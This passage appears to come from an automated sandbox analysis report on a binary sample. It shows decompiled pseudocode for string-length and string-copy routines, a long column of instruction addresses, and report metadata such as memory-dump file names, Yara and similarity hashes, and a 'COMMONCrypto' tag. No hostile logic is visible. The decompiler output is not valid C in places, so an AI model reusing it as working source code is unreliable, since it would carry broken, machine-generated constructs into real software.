								if(_t351 < 0) {
									_t351 = (_t351 - 0x00000001 | 0xffffffc0) + 1;
									__eflags = _t351;
								}
								__eflags = _t351;
								_t406 = _t405 + (0 | _t351 > 0x00000000);
								_v40 = _t406 << 6;
								_push(_t406 << 7);
								_t272 = E6EBA1030();
								_t473 = _t473 + 4;
								__eflags = _t418;
								if(_t418 == 0) {
									__eflags = 0;
									 *_t272 = 0;
									goto L65;
								} else {
									__eflags = _t272;
									if(_t272 == 0) {
										L63:
										_push(2);
										_push(_t418);
										_v64 = _t272;
										E6EBA10B0();
										_t272 = _v64;
										_t473 = _t473 + 8;
										L65:
										_t418 = _t272;
										goto L66;
									}
									_t409 =  *_t418 & 0x0000ffff;
									 *_t272 = _t409;
									__eflags = _t409;
									if(_t409 == 0) {
										goto L63;
									}
									_t410 = 0;
									__eflags = 0;
									while(1) {
										_t410 = _t410 + 1;
										_t354 =  *(_t418 + _t410 * 4 - 2) & 0x0000ffff;
										 *(_t272 + _t410 * 4 - 2) = _t354;
										__eflags = _t354;
										if(_t354 == 0) {
											goto L63;
										}
										_t355 =  *(_t418 + _t410 * 4) & 0x0000ffff;
										 *(_t272 + _t410 * 4) = _t355;
										__eflags = _t355;
										if(_t355 != 0) {
											continue;
										}
										goto L63;
									}
									goto L63;
								}
							}
							_v32 = _t241;
							goto L42;
							L68:
							_t241 = _t452;
							_t306 = _t306 + 1;
							__eflags = _t306 -  *_t241;
						} while (_t306 <  *_t241);
						_t445 = _a4;
						goto L70;
					}
					__eflags =  *_t364 & 0x0000ffff;
					if(( *_t364 & 0x0000ffff) == 0) {
						goto L37;
					}
					_t277 = _t364 & 0x0000000f;
					__eflags = _t277;
					if(_t277 == 0) {
						L18:
						asm("pxor xmm0, xmm0");
						_t429 =  ~( ~_t277 + 0x00000007 & 0x00000007) + 0x7fffffff;
						__eflags = _t429;
						_v64 = _t429;
						_t467 = _t429;
						while(1) {
							asm("movdqu xmm1, [edx+eax*2]");
							asm("pcmpeqw xmm1, xmm0");
							asm("pmovmskb edi, xmm1");
							__eflags = _t429;
							if(_t429 != 0) {
								break;
							}
							_t277 = _t277 + 8;
							__eflags = _t277 - _t467;
							if(_t277 < _t467) {
								continue;
							}
							_v64 = _t467;
							_t445 = _a4;
							__eflags = _v64 - 0x7fffffff;
							if(_v64 >= 0x7fffffff) {
								L25:
								_v64 = 0x7fffffff;
								L26:
								_t433 = _v64 + 1;
								__eflags = _t433 - 0x40;
								_t434 =  <=  ? 0x40 : _t433;
								__eflags = _t434;
								if(_t434 > 0) {
									_t283 = (_t434 >> 5 >> 0x1a) + _t434 >> 6;
									_t435 = _t434 & 0x8000003f;
									__eflags = _t435;
									if(_t435 < 0) {
										_t435 = (_t435 - 0x00000001 | 0xffffffc0) + 1;
										__eflags = _t435;
									}
									__eflags = _t435;
									_t284 = _t283 + (0 | _t435 > 0x00000000);
									_v40 = _t284 << 6;
									_push(_t284 << 7);
									_v68 = _t364;
									_t286 = E6EBA1030();
									_t411 = _v68;
									_t473 = _t473 + 4;
									_t418 = _t286;
									 *_t286 = 0;
									_v32 = _t294;
									_t468 = _v64;
									while(1) {
										_t312 =  *_t411 & 0x0000ffff;
										_t316 = 1;
										 *_t286 = _t312;
										__eflags = _t468;
										if(_t468 == 0) {
											goto L35;
										}
										__eflags = 1 - _t468;
										if(1 == _t468) {
											__eflags = 0;
											_t445 = _a4;
											_t294 = _v32;
											_t286[0] = 0;
											L191:
											__eflags =  *_t294 - 1;
											if( *_t294 > 1) {
												goto L39;
											}
											goto L192;
										}
										L35:
										__eflags = _t312;
										if(_t312 == 0) {
											_t445 = _a4;
											_t294 = _v32;
											goto L191;
										}
										_t286 =  &(_t286[0]);
										_t411 = _t411 + 2;
										__eflags = _t411;
									}
								}
								_t418 = 0;
								__eflags = _t316 - 1;
								if(_t316 <= 1) {
									goto L70;
								}
								_v40 = 0;
								goto L39;
							}
							L22:
							_t287 = _v64;
							while(1) {
								__eflags =  *(_t364 + _t287 * 2) & 0x0000ffff;
								if(( *(_t364 + _t287 * 2) & 0x0000ffff) == 0) {
									break;
								}
								_t287 = _t287 + 1;
								__eflags = _t287 - 0x7fffffff;
								if(_t287 < 0x7fffffff) {
									continue;
								}
								goto L25;
							}
							_v64 = _t287;
							goto L26;
						}
						asm("bsf edi, edi");
						_t445 = _a4;
						_v64 = (_t429 >> 1) + _t277;
						goto L26;
					}
					_t441 = 0;
					_v64 = 0;
					__eflags = _t277 & 0x00000001;
					if((_t277 & 0x00000001) != 0) {
						goto L22;
					}
					_t277 =  ~_t277 + 0x10 >> 1;
					__eflags = _t277;
					while(1) {
						__eflags =  *(_t364 + _t441 * 2) & 0x0000ffff;
						if(( *(_t364 + _t441 * 2) & 0x0000ffff) == 0) {
							break;
						}
						_t441 = _t441 + 1;
						__eflags = _t441 - _t277;
						if(_t441 < _t277) {
							continue;
						}
						goto L18;
					}
					_v64 = _t441;
					_t445 = _a4;
					goto L26;
				}
				_push(0x80);
				 *_t445 = 0;
				_t445[1] = 0;
				_t313 = E6EBA1030();
				_t474 = _t473 + 4;
				_t414 =  *_t445;
				if(_t414 == 0) {
					__eflags = 0;
					 *_t313 = 0;
					L9:
					 *_t445 = _t313;
					_t445[1] = 0x40;
					goto L115;
				}
				if(_t313 == 0) {
					L7:
					_push(2);
					_push(_t414);
					E6EBA10B0();
					_t474 = _t474 + 8;
					goto L9;
				}
				_t361 =  *_t414 & 0x0000ffff;
				 *_t313 = _t361;
				if(_t361 == 0) {
					goto L7;
				}
				_t362 = 0;
				while(1) {
					_t362 = _t362 + 1;
					_t442 =  *(_t414 + _t362 * 4 - 2) & 0x0000ffff;
					 *(_t313 + _t362 * 4 - 2) = _t442;
					if(_t442 == 0) {
						goto L7;
					}
					_t443 =  *(_t414 + _t362 * 4) & 0x0000ffff;
					 *(_t313 + _t362 * 4) = _t443;
					if(_t443 != 0) {
						continue;
					}
					goto L7;
				}
				goto L7;
			}

0x6ebad039
0x6ebad043
0x6ebad04f
0x6ebad051
0x6ebad054
0x6ebad058
0x6ebad0c6
0x6ebad0c8
0x6ebad0ca
0x6ebad214
0x6ebad214
0x6ebad21e
0x6ebad220
0x6ebad225
0x6ebad228
0x6ebad22b
0x6ebad3a1
0x6ebad3a3
0x6ebad3a5
0x6ebad3a8
0x6ebad3aa
0x6ebad507
0x6ebad507
0x6ebad511
0x6ebad513
0x6ebad516
0x6ebad518
0x6ebad51a
0x6ebad554
0x6ebad556
0x6ebad559
0x6ebad559
0x6ebad55b
0x6ebad562
0x6ebad562
0x6ebad564
0x6ebad565
0x6ebad56a
0x6ebad56d
0x6ebad56d
0x6ebad573
0x6ebad577
0x6ebad57b
0x6ebad581
0x6ebad5dc
0x6ebad5dc
0x6ebad5de
0x6ebad5df
0x6ebad5e7
0x6ebad5fa
0x6ebad5fa
0x6ebad585
0x6ebad587
0x6ebad8fb
0x6ebad5c2
0x6ebad5c7
0x6ebad5c9
0x6ebad5cf
0x6ebad5d1
0x6ebad5d3
0x6ebad5d8
0x6ebad5d8
0x6ebad5cf
0x00000000
0x6ebad5c7
0x6ebad58d
0x6ebad58f
0x6ebad591
0x6ebad591
0x6ebad596
0x6ebad598
0x6ebad59a
0x6ebad59f
0x6ebad59f
0x6ebad5a3
0x6ebad5a9
0x6ebad5ab
0x6ebad5ad
0x6ebad5b2
0x6ebad5b2
0x6ebad5b6
0x6ebad5b7
0x6ebad5bb
0x6ebad5be
0x00000000
0x6ebad5be
0x6ebad51c
0x6ebad51e
0x6ebad547
0x6ebad547
0x6ebad549
0x6ebad54a
0x6ebad54f
0x00000000
0x6ebad54f
0x6ebad520
0x6ebad523
0x6ebad526
0x6ebad528
0x00000000
0x00000000
0x6ebad52a
0x6ebad52a
0x6ebad52c
0x6ebad52c
0x6ebad52d
0x6ebad532
0x6ebad537
0x6ebad539
0x00000000
0x00000000
0x6ebad53b
0x6ebad53f
0x6ebad543
0x6ebad545
0x00000000
0x00000000
0x00000000
0x6ebad545
0x00000000
0x6ebad52c
0x6ebad3b0
0x6ebad3b3
0x6ebad3b5
0x00000000
0x00000000
0x6ebad3bd
0x6ebad3bd
0x6ebad3c0
0x6ebad3dd
0x6ebad3e1
0x6ebad3ed
0x6ebad3ed
0x6ebad3f3
0x6ebad3f3
0x6ebad3f8
0x6ebad3fc
0x6ebad400
0x6ebad402
0x00000000
0x00000000
0x6ebad408
0x6ebad40b
0x6ebad40d
0x00000000
0x00000000
0x6ebad40f
0x6ebad415
0x6ebad428
0x6ebad428
0x6ebad42d
0x6ebad432
0x6ebad432
0x6ebad435
0x6ebad438
0x6ebad43b
0x6ebad43d
0x6ebad450
0x6ebad453
0x6ebad453
0x6ebad458
0x6ebad460
0x6ebad460
0x6ebad460
0x6ebad463
0x6ebad468
0x6ebad472
0x6ebad476
0x6ebad477
0x6ebad47c
0x6ebad47f
0x6ebad481
0x6ebad483
0x6ebad4c8
0x6ebad4ca
0x00000000
0x6ebad485
0x6ebad485
0x6ebad487
0x6ebad4b3
0x6ebad4b3
0x6ebad4b5
0x6ebad4b6
0x6ebad4ba
0x6ebad4bf
0x6ebad4c3
0x6ebad4cd
0x6ebad4d1
0x6ebad4d4
0x6ebad4d6
0x6ebad4d6
0x6ebad4d8
0x6ebad4da
0x00000000
0x00000000
0x6ebad4e0
0x6ebad4ea
0x6ebad4ea
0x6ebad4ed
0x6ebad4ee
0x6ebad4f1
0x6ebad4f3
0x00000000
0x00000000
0x6ebad4f5
0x6ebad4f7
0x6ebad8db
0x6ebad8de
0x00000000
0x6ebad8de
0x6ebad4fd
0x6ebad4fd
0x6ebad4ff
0x6ebad8e7
0x00000000
0x6ebad8e7
0x6ebad4e4
0x6ebad4e7
0x6ebad4e7
0x6ebad4e7
0x6ebad4ea
0x6ebad489
0x6ebad48c
0x6ebad48f
0x6ebad491
0x00000000
0x00000000
0x6ebad493
0x6ebad493
0x6ebad495
0x6ebad495
0x6ebad496
0x6ebad49b
0x6ebad4a0
0x6ebad4a2
0x00000000
0x00000000
0x6ebad4a4
0x6ebad4a8
0x6ebad4ac
0x6ebad4ae
0x00000000
0x00000000
0x00000000
0x6ebad4ae
0x6ebad4b0
0x00000000
0x6ebad4b0
0x6ebad483
0x6ebad43f
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebad417
0x6ebad417
0x6ebad41b
0x6ebad41d
0x00000000
0x00000000
0x6ebad41f
0x6ebad420
0x6ebad426
0x00000000
0x00000000
0x00000000
0x6ebad426
0x00000000
0x6ebad417
0x6ebad8ef
0x6ebad8f4
0x00000000
0x6ebad8f4
0x6ebad3c2
0x6ebad3c4
0x6ebad3c7
0x00000000
0x00000000
0x6ebad3ce
0x6ebad3ce
0x6ebad3d0
0x6ebad3d0
0x6ebad3d4
0x6ebad3d6
0x00000000
0x00000000
0x6ebad3d8
0x6ebad3d9
0x6ebad3db
0x00000000
0x00000000
0x00000000
0x6ebad3db
0x00000000
0x6ebad3d0
0x6ebad231
0x6ebad239
0x6ebad23b
0x6ebad23c
0x6ebad23e
0x6ebad240
0x6ebad244
0x6ebad246
0x6ebad246
0x6ebad248
0x6ebad977
0x6ebad924
0x6ebad924
0x6ebad928
0x6ebad2cb
0x6ebad2d0
0x6ebad2d0
0x6ebad2d3
0x6ebad2d6
0x6ebad2d9
0x6ebad2dd
0x6ebad368
0x6ebad36d
0x6ebad36f
0x6ebad373
0x6ebad378
0x6ebad382
0x6ebad384
0x6ebad386
0x00000000
0x00000000
0x6ebad388
0x6ebad38b
0x6ebad38d
0x6ebad5fd
0x6ebad5ff
0x00000000
0x00000000
0x6ebad607
0x6ebad607
0x6ebad60a
0x6ebad626
0x6ebad62a
0x6ebad636
0x6ebad636
0x6ebad63c
0x6ebad63c
0x6ebad641
0x6ebad645
0x6ebad649
0x6ebad64b
0x00000000
0x00000000
0x6ebad651
0x6ebad654
0x6ebad656
0x00000000
0x00000000
0x6ebad658
0x6ebad65e
0x6ebad671
0x6ebad671
0x6ebad676
0x6ebad676
0x6ebad678
0x6ebad958
0x6ebad701
0x6ebad701
0x6ebad701
0x6ebad705
0x6ebad707
0x6ebad730
0x6ebad733
0x6ebad736
0x6ebad73a
0x6ebad7e1
0x6ebad7e1
0x6ebad7e3
0x6ebad7e5
0x6ebad919
0x6ebad919
0x6ebad91d
0x6ebad91f
0x6ebad920
0x6ebad922
0x6ebad92f
0x6ebad934
0x6ebad936
0x00000000
0x6ebad936
0x00000000
0x6ebad922
0x6ebad7eb
0x6ebad7ee
0x6ebad7ee
0x6ebad7f0
0x6ebad81c
0x6ebad81c
0x6ebad81e
0x6ebad820
0x6ebad829
0x6ebad85c
0x6ebad85c
0x6ebad860
0x6ebad862
0x6ebad865
0x6ebad866
0x6ebad868
0x6ebad252
0x6ebad254
0x6ebad254
0x6ebad257
0x6ebad277
0x6ebad27b
0x6ebad287
0x6ebad287
0x6ebad28d
0x6ebad28d
0x6ebad292
0x6ebad296
0x6ebad29a
0x6ebad29c
0x00000000
0x00000000
0x6ebad2a2
0x6ebad2a5
0x6ebad2a7
0x00000000
0x00000000
0x6ebad2a9
0x6ebad2af
0x6ebad2c6
0x6ebad2c6
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebad2b1
0x6ebad2b1
0x6ebad2b5
0x6ebad2b7
0x00000000
0x00000000
0x6ebad2bd
0x6ebad2be
0x6ebad2c4
0x00000000
0x00000000
0x00000000
0x6ebad2c4
0x6ebad8c6
0x6ebad8c6
0x6ebad8c9
0x6ebad8d1
0x6ebad8d1
0x00000000
0x6ebad8c9
0x6ebad96b
0x6ebad970
0x00000000
0x6ebad970
0x6ebad259
0x6ebad25b
0x6ebad25d
0x00000000
0x00000000
0x6ebad264
0x6ebad264
0x6ebad266
0x6ebad266
0x6ebad26a
0x6ebad26c
0x00000000
0x00000000
0x6ebad272
0x6ebad273
0x6ebad275
0x00000000
0x00000000
0x00000000
0x6ebad275
0x00000000
0x6ebad266
0x6ebad93e
0x6ebad895
0x6ebad897
0x6ebad899
0x00000000
0x6ebad899
0x6ebad82b
0x6ebad82b
0x6ebad833
0x6ebad837
0x6ebad83b
0x6ebad83f
0x6ebad83f
0x6ebad843
0x6ebad847
0x6ebad849
0x00000000
0x00000000
0x6ebad84b
0x6ebad84b
0x6ebad84f
0x6ebad850
0x6ebad852
0x00000000
0x00000000
0x00000000
0x6ebad852
0x6ebad854
0x6ebad858
0x00000000
0x6ebad858
0x6ebad822
0x00000000
0x6ebad822
0x6ebad7f2
0x6ebad7f6
0x6ebad7f6
0x6ebad7f8
0x6ebad7fc
0x6ebad7fc
0x6ebad7fd
0x6ebad804
0x6ebad807
0x6ebad809
0x00000000
0x00000000
0x6ebad80e
0x6ebad810
0x6ebad812
0x00000000
0x00000000
0x00000000
0x6ebad812
0x6ebad814
0x6ebad818
0x00000000
0x6ebad818
0x6ebad740
0x6ebad74a
0x6ebad74d
0x6ebad74d
0x6ebad752
0x6ebad75a
0x6ebad75a
0x6ebad75a
0x6ebad75b
0x6ebad765
0x6ebad76f
0x6ebad773
0x6ebad774
0x6ebad778
0x6ebad77d
0x6ebad781
0x6ebad783
0x6ebad786
0x6ebad788
0x6ebad7da
0x6ebad7dc
0x00000000
0x6ebad78a
0x6ebad78a
0x6ebad78c
0x6ebad7bd
0x6ebad7bd
0x6ebad7bf
0x6ebad7c0
0x6ebad7c4
0x6ebad7c8
0x6ebad7cd
0x6ebad7d1
0x6ebad7d5
0x6ebad7df
0x6ebad7df
0x00000000
0x6ebad7df
0x6ebad78e
0x6ebad791
0x6ebad794
0x6ebad796
0x00000000
0x00000000
0x6ebad798
0x6ebad79c
0x6ebad79c
0x6ebad79e
0x6ebad79e
0x6ebad79f
0x6ebad7a4
0x6ebad7a9
0x6ebad7ab
0x00000000
0x00000000
0x6ebad7ad
0x6ebad7b1
0x6ebad7b5
0x6ebad7b7
0x00000000
0x00000000
0x00000000
0x6ebad7b7
0x6ebad7b9
0x00000000
0x6ebad7b9
0x6ebad788
0x6ebad709
0x6ebad70b
0x6ebad90e
0x6ebad913
0x6ebad724
0x6ebad724
0x00000000
0x6ebad724
0x00000000
0x6ebad913
0x6ebad711
0x6ebad713
0x6ebad716
0x6ebad71b
0x00000000
0x00000000
0x6ebad71d
0x00000000
0x6ebad71d
0x6ebad680
0x6ebad680
0x6ebad683
0x6ebad6ac
0x6ebad6b0
0x6ebad6bc
0x6ebad6c0
0x6ebad6c0
0x6ebad6c5
0x6ebad6c5
0x6ebad6ca
0x6ebad6ce
0x6ebad6d2
0x6ebad6d4
0x00000000
0x00000000
0x6ebad6da
0x6ebad6dd
0x6ebad6df
0x00000000
0x00000000
0x6ebad6e1
0x6ebad6e5
0x6ebad6ea
0x6ebad6fc
0x6ebad6fc
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebad6ec
0x6ebad6ec
0x6ebad6f0
0x6ebad6f2
0x00000000
0x00000000
0x6ebad6f4
0x6ebad6f5
0x6ebad6fa
0x00000000
0x00000000
0x00000000
0x6ebad6fa
0x00000000
0x6ebad6ec
0x6ebad948
0x6ebad94b
0x6ebad94d
0x6ebad951
0x00000000
0x6ebad951
0x6ebad685
0x6ebad687
0x6ebad68a
0x00000000
0x00000000
0x6ebad691
0x6ebad691
0x6ebad693
0x6ebad697
0x6ebad69b
0x6ebad69d
0x00000000
0x00000000
0x6ebad6a3
0x6ebad6a4
0x6ebad6a6
0x00000000
0x00000000
0x6ebad6a8
0x00000000
0x6ebad6a8
0x6ebad905
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebad660
0x6ebad660
0x6ebad664
0x6ebad666
0x00000000
0x00000000
0x6ebad668
0x6ebad669
0x6ebad66f
0x00000000
0x00000000
0x00000000
0x6ebad66f
0x00000000
0x6ebad660
0x6ebad95f
0x6ebad964
0x00000000
0x6ebad964
0x6ebad60c
0x6ebad60e
0x6ebad610
0x00000000
0x00000000
0x6ebad617
0x6ebad617
0x6ebad619
0x6ebad619
0x6ebad61d
0x6ebad61f
0x00000000
0x00000000
0x6ebad621
0x6ebad622
0x6ebad624
0x00000000
0x00000000
0x00000000
0x6ebad624
0x00000000
0x6ebad619
0x00000000
0x6ebad38d
0x6ebad2ed
0x6ebad2f0
0x6ebad2f0
0x6ebad2f6
0x6ebad2fe
0x6ebad2fe
0x6ebad2fe
0x6ebad301
0x6ebad306
0x6ebad310
0x6ebad314
0x6ebad315
0x6ebad31a
0x6ebad31d
0x6ebad31f
0x6ebad361
0x6ebad363
0x00000000
0x6ebad321
0x6ebad321
0x6ebad323
0x6ebad34c
0x6ebad34c
0x6ebad34e
0x6ebad34f
0x6ebad353
0x6ebad358
0x6ebad35c
0x6ebad366
0x6ebad366
0x00000000
0x6ebad366
0x6ebad325
0x6ebad328
0x6ebad32b
0x6ebad32d
0x00000000
0x00000000
0x6ebad32f
0x6ebad32f
0x6ebad331
0x6ebad331
0x6ebad332
0x6ebad337
0x6ebad33c
0x6ebad33e
0x00000000
0x00000000
0x6ebad340
0x6ebad344
0x6ebad348
0x6ebad34a
0x00000000
0x00000000
0x00000000
0x6ebad34a
0x00000000
0x6ebad331
0x6ebad31f
0x6ebad24e
0x00000000
0x6ebad393
0x6ebad393
0x6ebad395
0x6ebad396
0x6ebad396
0x6ebad39e
0x00000000
0x6ebad39e
0x6ebad0d3
0x6ebad0d5
0x00000000
0x00000000
0x6ebad0dd
0x6ebad0dd
0x6ebad0e0
0x6ebad107
0x6ebad10b
0x6ebad117
0x6ebad117
0x6ebad11d
0x6ebad121
0x6ebad123
0x6ebad123
0x6ebad128
0x6ebad12c
0x6ebad130
0x6ebad132
0x00000000
0x00000000
0x6ebad138
0x6ebad13b
0x6ebad13d
0x00000000
0x00000000
0x6ebad13f
0x6ebad143
0x6ebad146
0x6ebad14e
0x6ebad168
0x6ebad168
0x6ebad170
0x6ebad179
0x6ebad17c
0x6ebad17f
0x6ebad182
0x6ebad184
0x6ebad1a8
0x6ebad1ab
0x6ebad1ab
0x6ebad1b1
0x6ebad1b9
0x6ebad1b9
0x6ebad1b9
0x6ebad1bc
0x6ebad1c1
0x6ebad1cb
0x6ebad1cf
0x6ebad1d0
0x6ebad1d4
0x6ebad1d9
0x6ebad1dd
0x6ebad1e2
0x6ebad1e4
0x6ebad1e7
0x6ebad1eb
0x6ebad1f7
0x6ebad1f7
0x6ebad1fa
0x6ebad1fb
0x6ebad1fe
0x6ebad200
0x00000000
0x00000000
0x6ebad202
0x6ebad204
0x6ebad87f
0x6ebad881
0x6ebad884
0x6ebad888
0x6ebad88c
0x6ebad88c
0x6ebad88f
0x00000000
0x00000000
0x00000000
0x6ebad88f
0x6ebad20a
0x6ebad20a
0x6ebad20c
0x6ebad8a1
0x6ebad8a4
0x00000000
0x6ebad8a4
0x6ebad1f1
0x6ebad1f4
0x6ebad1f4
0x6ebad1f4
0x6ebad1f7
0x6ebad186
0x6ebad188
0x6ebad18b
0x00000000
0x00000000
0x6ebad191
0x00000000
0x6ebad191
0x6ebad150
0x6ebad150
0x6ebad154
0x6ebad158
0x6ebad15a
0x00000000
0x00000000
0x6ebad160
0x6ebad161
0x6ebad166
0x00000000
0x00000000
0x00000000
0x6ebad166
0x6ebad8aa
0x00000000
0x6ebad8aa
0x6ebad8b3
0x6ebad8ba
0x6ebad8bd
0x00000000
0x6ebad8bd
0x6ebad0e2
0x6ebad0e4
0x6ebad0e8
0x6ebad0ea
0x00000000
0x00000000
0x6ebad0f1
0x6ebad0f1
0x6ebad0f3
0x6ebad0f7
0x6ebad0f9
0x00000000
0x00000000
0x6ebad0ff
0x6ebad100
0x6ebad102
0x00000000
0x00000000
0x00000000
0x6ebad104
0x6ebad873
0x6ebad877
0x00000000
0x6ebad877
0x6ebad05a
0x6ebad061
0x6ebad063
0x6ebad06b
0x6ebad06d
0x6ebad070
0x6ebad074
0x6ebad0ae
0x6ebad0b0
0x6ebad0b3
0x6ebad0b3
0x6ebad0b5
0x00000000
0x6ebad0b5
0x6ebad078
0x6ebad0a1
0x6ebad0a1
0x6ebad0a3
0x6ebad0a4
0x6ebad0a9
0x00000000
0x6ebad0a9
0x6ebad07a
0x6ebad07d
0x6ebad082
0x00000000
0x00000000
0x6ebad084
0x6ebad086
0x6ebad086
0x6ebad087
0x6ebad08c
0x6ebad093
0x00000000
0x00000000
0x6ebad095
0x6ebad099
0x6ebad09f
0x00000000
0x00000000
0x00000000
0x6ebad09f
0x00000000

Strings

@, xrefs: 6EBAD90E

Memory Dump Source

Source File: 00000000.00000002.771060361.000000006EB91000.00000020.00020000.sdmp, Offset: 6EB90000, based on PE: true

Associated: 00000000.00000002.771046793.000000006EB90000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771178348.000000006EBC5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771214876.000000006EBCB000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.771236786.000000006EBCC000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 752c5ff02bc24ceb70419a329ead1c3dab5549dfac1f6eefbc4f612475c4781f
Instruction ID: a4a6451a7ae24d912f640d2a6eb9a0b23b4ab4a3ce1c468dd26d0504e2b0bb18
Opcode Fuzzy Hash: 752c5ff02bc24ceb70419a329ead1c3dab5549dfac1f6eefbc4f612475c4781f
Instruction Fuzzy Hash: 21425771A1C7938BDB588FADD45022A7AE2EFC5758F15872CDEA587394EB30C841CB81

Uniqueness

Uniqueness Score: -1.00%

Function 6EBB89F0, Relevance: 2.0, Strings: 1, Instructions: 748
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E6EBB89F0(intOrPtr* __ecx, signed int* _a4, signed int _a8) {
				unsigned int _v24;
				intOrPtr* _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _t205;
				signed int* _t207;
				signed int _t211;
				unsigned int _t217;
				signed int _t218;
				signed int _t220;
				signed int _t223;
				intOrPtr* _t224;
				signed int _t227;
				signed int _t228;
				signed int _t229;
				signed int _t230;
				signed int _t231;
				signed int _t242;
				signed int _t243;
				signed int _t248;
				signed int _t253;
				signed int _t258;
				signed int _t261;
				signed int _t262;
				unsigned int _t271;
				signed int _t277;
				void* _t278;
				signed int _t279;
				signed int _t280;
				short* _t283;
				signed int _t285;
				signed int _t286;
				intOrPtr* _t292;
				signed short* _t295;
				signed int* _t296;
				signed int _t298;
				signed int _t299;
				signed int _t301;
				signed int _t302;
				signed int _t303;
				unsigned int _t309;
				signed int _t310;
				signed int _t313;
				signed int _t318;
				signed int _t319;
				signed int _t320;
				signed int _t321;
				void* _t322;
				signed int _t323;
				void* _t324;
				signed int _t325;
				signed int _t326;
				signed int _t329;
				signed int _t330;
				signed int _t334;
				signed int _t335;
				signed int _t336;
				unsigned int _t341;
				signed int _t342;
				signed int _t344;
				signed int _t346;
				signed int _t350;
				intOrPtr _t352;
				intOrPtr* _t353;
				signed int _t354;
				signed int _t355;
				signed int _t357;
				void* _t358;
				signed int _t359;
				signed int _t360;
				signed int* _t365;
				signed int _t366;
				signed int _t368;
				signed int _t369;
				signed int _t374;
				unsigned int _t381;
				signed int _t382;
				signed int _t384;
				intOrPtr* _t385;
				intOrPtr* _t386;
				signed int _t391;
				signed int _t392;
				signed int _t393;
				signed int _t401;
				unsigned int _t403;
				signed int _t404;
				signed short* _t405;
				signed int _t406;
				signed int _t407;
				signed int _t414;
				intOrPtr* _t419;
				signed int _t420;
				signed int _t423;
				signed int _t424;
				signed int _t425;
				unsigned int _t431;
				signed int _t433;
				signed int _t439;
				signed int* _t441;
				signed int* _t442;
				signed int _t444;
				void* _t446;
				void* _t448;

				_push(_t298);
				_t446 = (_t444 & 0xfffffff0) - 0x24;
				_t419 = __ecx;
				_t352 =  *__ecx;
				if(_t352 != 0) {
					_t318 =  *( *( *(__ecx + 4)));
					__eflags = _t318;
					if(_t318 == 0) {
						L34:
						_push(0x80);
						_t299 = E6EBA1030();
						_t446 = _t446 + 4;
						__eflags =  *_t419 - 1;
						 *_t299 = 0;
						if( *_t419 <= 1) {
							goto L45;
						} else {
							_t374 = 0x40;
							goto L36;
						}
					} else {
						__eflags =  *_t318 & 0x0000ffff;
						if(( *_t318 & 0x0000ffff) == 0) {
							goto L34;
						} else {
							_t277 = _t318 & 0x0000000f;
							__eflags = _t277;
							if(_t277 == 0) {
								L16:
								asm("pxor xmm0, xmm0");
								_t414 =  ~( ~_t277 + 0x00000007 & 0x00000007) + 0x7fffffff;
								__eflags = _t414;
								while(1) {
									asm("movdqu xmm1, [ecx+eax*2]");
									asm("pcmpeqw xmm1, xmm0");
									asm("pmovmskb ebx, xmm1");
									__eflags = _t298;
									if(_t298 != 0) {
										break;
									}
									_t277 = _t277 + 8;
									__eflags = _t277 - _t414;
									if(_t277 < _t414) {
										continue;
									} else {
										__eflags = _t414 - 0x7fffffff;
										if(_t414 >= 0x7fffffff) {
											goto L22;
										} else {
											goto L20;
										}
									}
									goto L23;
								}
								asm("bsf edi, ebx");
								_t414 = (_t414 >> 1) + _t277;
							} else {
								_t414 = 0;
								__eflags = _t277 & 0x00000001;
								if((_t277 & 0x00000001) != 0) {
									while(1) {
										L20:
										__eflags =  *(_t318 + _t414 * 2) & 0x0000ffff;
										if(( *(_t318 + _t414 * 2) & 0x0000ffff) == 0) {
											goto L23;
										}
										_t414 = _t414 + 1;
										__eflags = _t414 - 0x7fffffff;
										if(_t414 < 0x7fffffff) {
											continue;
										} else {
											L22:
											_t414 = 0x7fffffff;
										}
										goto L23;
									}
								} else {
									_t277 =  ~_t277 + 0x10 >> 1;
									__eflags = _t277;
									while(1) {
										_t298 =  *(_t318 + _t414 * 2) & 0x0000ffff;
										__eflags = _t298;
										if(_t298 == 0) {
											goto L23;
										}
										_t414 = _t414 + 1;
										__eflags = _t414 - _t277;
										if(_t414 < _t277) {
											continue;
										} else {
											goto L16;
										}
										goto L23;
									}
								}
							}
							L23:
							_t23 = _t414 + 1; // 0x80000000
							_t278 = _t23;
							__eflags = _t278 - 0x40;
							_t279 =  <=  ? 0x40 : _t278;
							__eflags = _t279;
							if(_t279 > 0) {
								_t309 = (_t279 >> 5 >> 0x1a) + _t279 >> 6;
								_t280 = _t279 & 0x8000003f;
								__eflags = _t280;
								if(_t280 < 0) {
									_t280 = (_t280 - 0x00000001 | 0xffffffc0) + 1;
									__eflags = _t280;
								}
								__eflags = _t280;
								_t310 = _t309 + (0 | _t280 > 0x00000000);
								_push(_t310 << 7);
								_v36 = _t310 << 6;
								_v52 = _t318;
								_t283 = E6EBA1030();
								_t350 = _v52;
								_t374 = _v36;
								_v48 = _t283;
								_t446 = _t446 + 4;
								_v40 = _t283;
								_v44 = 0;
								 *_t283 = 0;
								_v28 = _t419;
								_v52 =  *_t419;
								_t313 = _v44;
								_t441 = _v48;
								while(1) {
									_t285 =  *_t350 & 0x0000ffff;
									_t313 = _t313 + 1;
									 *_t441 = _t285;
									__eflags = _t414;
									if(_t414 == 0) {
										goto L32;
									}
									__eflags = _t313 - _t414;
									if(_t313 == _t414) {
										_v48 = _t441;
										__eflags = 0;
										_t299 = _v40;
										_t286 = _v52;
										_t419 = _v28;
										_t441[0] = 0;
									} else {
										goto L32;
									}
									L177:
									__eflags = _t286 - 1;
									if(_t286 > 1) {
										goto L36;
									} else {
										goto L178;
									}
									goto L89;
									L32:
									__eflags = _t285;
									if(_t285 == 0) {
										_t299 = _v40;
										_t286 = _v52;
										_t419 = _v28;
									} else {
										_t441 =  &(_t441[0]);
										_t350 = _t350 + 2;
										__eflags = _t350;
										continue;
									}
									goto L177;
								}
							} else {
								_t299 = 0;
								__eflags = _t352 - 1;
								if(_t352 <= 1) {
									L45:
									_t353 = _a4;
									 *_t353 = 0;
